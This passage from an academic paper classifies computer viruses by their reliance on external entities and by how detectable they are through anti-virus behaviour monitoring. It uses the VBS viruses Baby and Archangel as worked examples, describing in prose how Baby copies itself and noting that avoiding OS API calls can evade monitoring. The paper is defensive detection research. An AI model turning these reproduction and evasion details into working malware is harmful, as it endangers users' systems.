virus, but whose communications with the virus (via an API, for example) can be intercepted by the anti-virus software. The logical conclusion here is that on systems without anti-virus software capable of behaviour scanning, all viruses are Type I. Therefore, all viruses with a Type I classification are impossible to detect at run-time by behaviour monitoring, whereas those outside Type I have detectable behaviours and are, at least theoretically, detectable. Of course, the exact delineation between Type I and non-Type I is dependent on the ontology that is "enforced" by the anti-virus scanner: computer viruses that are Type I with respect to one anti-virus software may not be Type I with respect to another. For example, an anti-virus scanner that could not intercept network API calls may not be able to detect any behaviour of a given worm, thus rendering it Type I. However, another anti-virus scanner with the ability to monitor network traffic might be able to detect the activity of the worm, resulting in a different classification of non-Type I.

3.2 Automated Classification: Virus.VBS.Baby

In this subsection we will demonstrate automated classification by static analysis, in a way that would be straightforward to implement algorithmically. Baby (see Fig. 3) is a simple virus written in Visual Basic Script for the Windows platform. In line 1 the random number generator is seeded using the system timer. Next, an object `FSO` of the class `Scripting.FileSystemObject` is created, which allows the virus to access the file system. A string `HOME` is set using the `FSO.GetFolder(...)` method to access the directory in which Baby is executing. In line 5 the object `Me_` is created as a handle to the file containing the virus's Visual Basic script. In line 5 Baby generates a random filename, with the path set to Baby's current directory, and in line 6 Baby makes a copy of itself using the `Me_` object, completing the reproductive process.

Automated classification by static analysis would involve searching the virus code for the use of external entities. Of course, whether we consider an entity to be external should depend the abilities of the anti-virus software. Therefore, we will consider three different situations corresponding to different configurations of the anti-virus software.

In the first configuration, the anti-virus software is unable to analyse the behaviour at run-time at all, i.e., behaviour monitoring is non-existent. In this case, the anti-virus software is unable to distinguish between the virus and any other external entities, and therefore there is just one entity in the reproduction model: the virus itself. Therefore none of the actions in the labelled transition system (i.e, the virus's program) can be afforded by an external entity, and therefore the classification of Baby under this configuration is Type I.

In the second configuration, behaviour monitoring is switched on and the anti-virus software is able to intercept calls to external entities. Behaviour monitoring is achieved in a number of ways [8], which are are often very implementation-specific (see, e.g., [23]). So, for the purposes of this example we will simply assume that calls to methods and attributes that are not part of Baby's code must be external to baby, and that behaviour monitoring can intercept these calls. We can see that lines 1, 3 and 6 include references to one external method or attribute, and lines 2 and 4 include references to two methods or attributes. In this configuration the Baby entity is present, and but there is at least one other external entity (depending on how we assign methods/properties to entities). One thing is certain in this configuration: external entities are affording actions to Baby, and therefore Baby is a non-Type I computer virus.

In the third configuration, behaviour monitoring is again switched on, but Baby is being executed in a sandbox by the anti-virus software. In this model Baby is again an entity, but there is another entity in the form of the sandbox which affords Baby all its actions, for the simple reason the sandbox emulates Baby's code within a virtual machine that is completely monitored by the anti-virus software. Therefore, in this configuration Baby must also be a non-Type I computer virus.

This example has shown the close relationship between "configurations" of anti-virus software and the resulting constraints on any reproduction model that we might make of a computer virus. This in turn affects the classification of a virus into Type I or non-Type I.

3.3 Automated Classification: Virus.VBS.Archangel

In Section 2.5 we categorised Archangel (see Fig. 2) using a minimalistic reproduction model, constructed by hand. In this section we will contrast the method of automated classification. In a similar way to the Virus.VBS.Baby example, we will present three different classifications of Archangel using three different anti-virus configurations identical to those used for Baby's classification.

In the first configuration there is no anti-virus behaviour monitoring. As a result the only entity present in Archangel's reproduction model is the virus itself. Therefore we know that no external entity affords actions to the virus, and therefore Archangel is Type I in this model.

In the second configuration, an anti-virus scanner is present and is able to distinguish calls to external methods and properties. Archangel contains a total of 38 such calls to such methods and properties as `MsgBox`, `CreateObject`, `FileSystemObject`, `FolderExists`, `CreateFolder`, `CopyFile`, `ScriptFullName`, `MoveFile`, `CreateObject`, `FolderExists`, `DeleteFile`, `CreateShortCut`, `ExpandEnvironment`, `WindowStyle`, `Save`, `CreateTextFile`, `WriteLine`, `Close` and `Run`. Therefore Archangel can be categorised automatically as a non-Type I virus.

In the third configuration, Archangel is executed within a sandbox by the anti-virus software. Since all instructions are emulated, the anti-virus software is able to detect all behavioural activity, placing Archangel as a non-Type I computer virus.

3.4 Non-Type I Virus Metrics

We have shown how different viruses can be classified as Type I or non-Type I based on whether they are reproductively non-reliant or reliant (respectively) on external entities. However, it is possible to go further and develop metrics for comparing viruses outside Type I for the purposes of prioritisation for anti-virus software. For example, there may be n different calls that a virus can make which we might class as being the responsibility of an external entity. So, in the least reliant non-Type I viruses, there may be only one such call in the virus. Therefore, there are only n different behavioural signatures that we can derive from knowing that there is one such call to an external entity. Clearly, as the number, m, of such calls increases, the number of different behavioural signatures, n^m, increases exponentially. Therefore viruses that have more calls to external entities may be more detectable at run-time, and conversely, viruses that have fewer calls may be more difficult to detect. Therefore we might propose a simple metric for analysing the reliance on external entities of a given virus: calculate the number of calls to external entities. The more calls there are, the more behavioural signatures there are, and the easier detection should become. This metric therefore lets us compare all those viruses outside Type I, and decide which are the most and least detectable by behaviour monitoring.

Using this simple metric to compare the Baby and Archangel VBS viruses. We see that Baby contains seven references to external methods or properties, whereas Archangel contains 38. Using this naïve metric, we can see that Archangel reliance on external entities is greater than Baby's, and therefore we could place Baby higher in a priority list when using detection methods other that behaviour monitoring.

3.5 Anti-Virus Configurations and Ontologies

In the examples presented above, Baby and Archangel were classified using three different anti-virus configurations. In the first configuration, there is no behaviour monitoring switched on, and as a result Baby and Archangel are classified as Type I. However, this classification is not restricted to these two viruses; any virus viewed within this anti-virus configuration must be classified as Type I, since the anti-virus software is not able to distinguish between the virus and any other external entities. Since the intended purpose of the Type versus non-Type I distinction is to separate viruses according to the possibility of detection at run-time by behaviour monitoring, it follows that if run-time behaviour monitoring detection is inactive (as is the case in this configuration where behaviour monitoring is not possible) then all viruses must be Type I.

A similar case is in the third configuration, where the virus runs within a sandbox, and its code is completely emulated by the anti-virus software. In this case, any virus will be completely monitored, meaning that any virus's behaviour is known to the anti-virus software and therefore can be detected at run-time by behaviour monitoring. Consequently, in this configuration all viruses must be non-Type I.

The second configuration, however, which most closely resembles the real-life situations encountered with anti-virus software, is also the most interesting in terms of variety of classification. It was seen that Baby and Archangel were non-Type I, and then we showed how based on a simple metric we could compare their relative reliance on external entities, under the assumption that the more reliant on external entities a virus is, the more behavioural signatures are possible and the more likely we are to detect that virus at run-time by behaviour monitoring. It is also the case that some viruses could be classified as Type I, although we have not presented such an example here.

For example, some viruses such as NoKernel (p. 219, [23]) can access the hard disk directly and bypass methods which use the operating system API. Since API monitoring might be the method by which an anti-virus software conducts its behaviour monitoring, then such a virus would be undetectable at run-time (assuming that it did not use any other external entities that were distinguishable by the anti-virus software).

Therefore, the ideal case for an anti-virus software is the ability to classify all viruses as non-Type I within its ontology. However, this may not be possible for practical reasons, and therefore the aim of writers of anti-virus software should be to maximise the number of viruses outside Type I, and then to maximise the number of viruses with a high possibility for detection using metric-based methods discussed earlier.

4 Conclusion

We have shown how it possible to classify reproducing malware, such as computer viruses, using an affordance-based ontology based on formal models of reproduction. We are able to formalise a reproductive process using a labelled transition system, and divide up the environment of a computer virus into separate entities, of which the computer virus (as the reproducer in the reproductive system) is one. Then, we can attribute different actions in the reproductive process to different entities, and based on these dependencies classify the computer virus as Type I (of the virus is reproductively isolated) or non-Type I (if the virus depends on the use of external entities to reproduce). We can further sub-divide viruses outside Type I based on abstract reproductive actions such as the self-description, reproductive mechanism or, in the case of computer viruses, payload. The presence or absence of self-description and/or reproductive mechanism actions divides up the non-Type I reproducer space into Types II, III and IV, and consequently viruses can be classified similarly. We have shown how this classification can take place by hand, through the construction of formal models, or automatically, by a simple algorithm that uses static or dynamic analysis to test the computer virus for its reliance on external entities.

We have shown that whilst Type II, III and IV classification may pose problems for automated classification, Type I versus non-Type classification is readily achievable using current computing technology, and that this dichotomous classification can be used to separate viruses into one of two categories depending on whether they are dependent on external entities, or not. By constructing our notion of externality with respect to a particular anti-virus software, the resulting classification divides computer viruses into those where detection is either possible (non-Type I) or impossible (Type I) by behaviour monitoring at run-time. By modifying the definition of the anti-virus software being modelled, the viruses can be easily re-classified to suit other types of anti-virus software.

We discussed in Section 3 how this classification might be applied to computer virus detection by enabling prioritisation of detection. For example, a set of virus placed into Type I might not be detectable at run-time by behaviour monitoring, and therefore we can concentrate our efforts on those virus in this class for detection by non-behavioural means. Furthermore, we showed how metrics can be introduced to quantify the reliance of those viruses outside Type I on external entities, thus giving a priority list for detection by non-behavioural means and in Section 3.4 we showed how even a simple metric can give a means for prioritisation.

Our classification of computer viruses is a special case of the classification of reproducers from our earlier work [29, 27], which logically places computer viruses within the broader class of reproducers. This relationship between viruses and other forms of life has been explored by Spafford [22], which resulted in interesting insights into reproducing malware. This comparison between computer viruses and their biological counterparts has resulted in interesting techniques for anti-virus software such as computer immune systems [17, 21, 14], and in that sense we hope that the relationship between computer viruses and reproducers (including biological viruses) proven further by this paper could assist in the application of biological concepts to the problem of malware prevention.

4.1 Comparison with Other Approaches

Virus classification schemes are numerous and diverse. While the means of a particular classification might be objective, the decision of preference of one classification over another can often be subjective; in this sense classification is in the eye of the beholder. Consequently it is difficult to assess rationally how well our classification works in comparison to those that have come before. Most classifications arise from some insight into the universe of objects being classified, and therefore the only requirement upon a classification being considered "worthy" is that it should have some explanatory power. Therefore, instead of attempting a futile rationalization of our classification versus the many interesting and insightful classifications of others, we will delineate the explanatory power of our approach.

Intuitively, computer viruses that are classified as Type I within our classification are those that are reproductively isolated, i.e., those that do not require the help of external entities during their reproductive process. Consequently, those outside Type I require help of external entities for their reproduction. We have shown via multiple classifications of the same virus based on the modification of reproduction models (see Sections 2.3, 2.5, 2.6, 3.2 and 3.3) that our ontology and classification are sufficiently unconstrained so as to allow flexibility of classification, and therefore it might seem that our classification is arbitrary. We consider this flexibility rather that arbitrariness, however, as it allows for the classification of computer viruses towards more efficient detection methods for anti-virus software, as given in Section 3. Therefore, once we have settled upon a fixed notion of externality, our classification provides the means to classify viruses in a formal and useful way to help improve the possibility of detection. Furthermore, through this classification we have introduced a means to compare formally the abilities of different anti-virus software that employ behaviour monitoring. As given in Section 3.5, the anti-virus software most able to detect viruses by behaviour monitoring will be those whose ontologies minimise the classification of viruses within Type I, and maximise the numbers of viruses outside Type I with a high chance of detection at run-time by behaviour monitoring, via metrics such as those described in Section 3.4.

4.2 Future Work

In Section 3.4 we showed how using a simple metric we could compare the reliance on external entities of two viruses written in Visual Basic Script. It should also be possible to develop more advanced metrics for comparing viruses outside Type I. For example, a certain sequence of actions which require external entities may flag with a certain level of certainty a given viral behaviour. Therefore it would seem logical to incorporate this into a *weighted* metric that reflects the particular characteristics of the non-Type I viruses. Different metrics could be employed for different languages, if different methods of behaviour monitoring are used for Visual Basic Script and Win32 executables, for example.

Following on from the discussion above, another possible application of our approach is towards the assessment of anti-virus behaviour monitoring software via affordance-based models. There are some similarities between our approach and the recent work by Filiol et al [9] on the evaluation of behavioural detection strategies, particularly in the use of abstract actions in reasoning about viral behaviour. Also, the use of behavioural detection hypotheses bears a resemblance to our proposed antivirus ontologies. In future we would like to explore this relationship further, perhaps by generating a set of benchmarks based on our ontology and classification, similar to those given by Filiol et al.

Recent work by Bonfante et al [3] discusses classification of computer viruses using recursion theorems, in which a notion of externality is given through formal definitions of different types of viral behaviour, e.g., companion viruses and ecto-symbiotes that require the help of a external entities, such as the files they infect. An obvious extension of this work would be to work towards a description of affordance-based classification of computer viruses using recursion theorems, and conversely, a description of recursion-based classification in terms of formal affordance theory.

Acknowledgements

We would like to thank the participants of the 2nd International Workshop on the Theory of Computer Viruses (TCV 2007) for their useful questions and comments. VX Heavens (`http://vx.netlux.org/`) and Gary P. Thompson II's, "The Quine Page" (`http://www.nyx.net/~gthompso/quine.htm`) were essential sources of virus code for this paper. The Unix shell script virus in Fig. 1 was based on similar work by Bruce Ediger (`http://www.users.qwest.net/~eballen1/`).

References

[1] Leonard M. Adleman. An abstract theory of computer viruses. In *Advances in Cryptology — CRYPTO '88*, volume 403 of *Lecture Notes in Computer Science*, pages 354–374, 1990.

[2] Michael Bailey, Jon Oberheide, Jon Andersen, Z. Morley Mao, Farnam Jahanian, and Jose Nazario. Automated classification and analysis of internet malware. Technical Report CSE-TR-530-07, Department of Electrical Engineering and Computer Science, University of Michigan, April 2007.

[3] Guillaume Bonfante, Matthieu Kaczmarek, and Jean-Yves Marion. On abstract computer virology: from a recursion-theoretic perspective. *Journal in computer virology*, 1(3–4), 2006.

[4] Guillaume Bonfante, Matthieu Kaczmarek, and Jean-Yves Marion. A classification of viruses through recursion theorems. In S.B. Cooper, B. Löwe, and A. Sorbi, editors, *CiE 2007*, volume 4497 of *Lecture Notes in Computer Science*. Springer-Verlag Berlin Heidelberg, 2007.

[5] Vesselin Bontchev, Fridrik Skulason, and Alan Solomon. CARO virus naming convention. `http://www.caro.org/`, 1991.

[6] Ero Carrera and Gergely Erdélyi. Digital genome mapping — advanced binary malware analysis. In *Virus Bulletin Conference*, September 2004.

[7] Fred Cohen. Computer viruses — theory and experiments. *Computers and Security*, 6(1):22–35, 1987.

[8] Eric Filiol. *Computer Viruses: from Theory to Applications.* Springer, 2005. ISBN 2287239391.

[9] Eric Filiol, Grégoire Jacob, and Mickaël Le Liard. Evaluation methodology and theoretical model for antiviral behavioural detection strategies. *Journal in Computer Virology*, 3:23–37, 2007.

[10] Marius Gheorghescu. An automated virus classification system. In *Virus Bulletin Conference*, October 2005.

[11] James J. Gibson. The theory of affordances. *Perceiving, Acting and Knowing: Toward an Ecological Psychology*, pages 67–82, 1977.

[12] L. A. Goldberg, P. W. Goldberg, C. A. Phillips, and G. B. Sorkin. Constructing computer virus phylogenies. *Journal of Algorithms*, 26(1):188–208, 1998.

[13] Sarah Gordon. Virus and vulnerability classification schemes: Standards and integration. Symantec Security Response White Paper, February 2003. `http://www.symantec.com/avcenter/reference/virus.and.vulnerability.pdf`.

[14] Michael Hilker and Christoph Schommer. SANA — security analysis in internet traffic through artificial immune systems. In Serge Autexier, Stephan Merz, Leon van der Torre, Reinhard Wilhelm, and Pierre Wolper, editors, *Workshop "Trustworthy Software" 2006.* IBFI, Schloss Dagstuhl, Germany, 2006.

[15] Md. Enamul Karim, Andrew Walenstein, and Arun Lakhotia. Malware phylogeny using maximal pi-patterns. In *EICAR 2005 Conference: Best Paper Proceedings*, pages 156–174, 2005.

[16] Md. Enamul Karim, Andrew Walenstein, Arun Lakhotia, and Laxmi Parida. Malware phylogeny generation using permutations of code. *Journal in Computer Virology*, 1:13–23, 2005.

[17] Jeffrey O. Kephart. A biologically inspired immune system for computers. In Rodney A. Brooks and Pattie Maes, editors, *Artificial Life IV, Proceedings of the Fourth International Workshop on Synthesis and Simulation of Living Systems*, pages 130–139. MIT Press, Cambridge, Massachusetts, 1994.

[18] Jimmy Kuo and Desiree Beck. The common malware enumeration initiative. *Virus Bulletin*, pages 14–15, September 2005.

[19] Jose Andre Morales, Peter J. Clarke, Yi Deng, and B. M. Golam Kibria. Testing and evaluating virus detectors for handheld devices. *Journal in Computer Virology*, 2(2), 2006.

[20] Daniel Reynaud-Plantey. The Java mobile risk. *Journal in Computer Virology*, 2(2), 2006.

[21] Anil Somayaji, Steven Hofmeyr, and Stephanie Forrest. Principles of a computer immune system. In *1997 New Security Paradigms Workshop*. ACM Press, 1997.

[22] Eugene H. Spafford. Computer viruses as artificial life. *Journal of Artificial Life*, 1(3):249–265, 1994.

[23] Peter Ször. *The Art of Computer Virus Research and Defense*. Addison-Wesley, 2005. ISBN 0321304543.

[24] Sampo Töyssy and Marko Helenius. About malicious software in smartphones. *Journal in Computer Virology*, 2(2), 2006.

[25] Nicholas Weaver, Vern Paxson, Stuart Staniford, and Robert Cunningham. A taxonomy of computer worms. In *WORM '03: Proceedings of the 2003 ACM Workshop on Rapid Malcode*, pages 11–18. ACM Press, 2003.

[26] Matt Webster. Algebraic specification of computer viruses and their environments. In Peter Mosses, John Power, and Monika Seisenberger, editors, *Selected Papers from the First Conference on Algebra and Coalgebra in Computer Science Young Researchers Workshop (CALCO-jnr 2005). University of Wales Swansea Computer Science Report Series CSR 18-2005*, pages 99–113, 2005.

[27] Matt Webster and Grant Malcolm. Reproducer classification using the theory of affordances: Models and examples. *International Journal of Information Technology and Intelligent Computing*. To appear.

[28] Matt Webster and Grant Malcolm. Detection of metamorphic computer viruses using algebraic specification. *Journal in Computer Virology*, 2(3):149–161, December 2006. DOI: 10.1007/s11416-006-0023-z.

[29] Matt Webster and Grant Malcolm. Reproducer classification using the theory of affordances. In *Proceedings of the 2007 IEEE Symposium on Artificial Life (CI-ALife 2007)*, pages 115–122. IEEE Press, 2007.

[30] Stephanie Wehner. Analyzing worms and network traffic using compression. *Journal of Computer Security*, 15(3):303–320, 2007. arXiv:cs/0504045v1 [cs.CR].

[31] Christos Xenakis. Malicious actions against the GPRS technology. *Journal in Computer Virology*, 2(2), 2006.